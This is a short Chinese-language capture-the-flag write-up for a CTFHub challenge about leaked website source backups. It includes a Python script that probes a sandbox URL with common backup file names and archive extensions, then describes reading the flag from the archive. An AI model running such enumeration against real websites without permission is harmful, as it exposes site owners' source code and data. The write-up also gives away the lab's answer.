CTFHub技能树备份文件下载——网站源码

1.点击开启题目，打开给出的链接。看到这个页面，大体猜到应该是让我们拼接文件名和后缀，并访问。

2.最基础的就是一个一个的拼（这次是www.zip），当然，就是有点费时间，也可以使用代码。

import requests
import webbrowser

url = "http://challenge-60bf1666b39af9d0.sandbox.ctfhub.com:10800/"
filename = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
suffix = ['.tar', '.tar.gz', '.zip', '.rar']

for i in filename:
    for j in suffix:
        url_new = url + i + j
        r1 = requests.get(url_new)
        print('r1.status_code', r1.status_code)
        print('url_new', url_new)
        print('\n')
        if(r1.status_code == 200):
            webbrowser.open(url_new, new=1)  # 打开新的浏览器窗口

3.无论是手动还是用代码，都会直接下载一个压缩包文件，然后解压缩，得到一个用flag命名的文本文档，打开后啥也没有。

4.既然这样，没有别的办法了，只能把文本文档的名字复制到链接中。回车发现flag。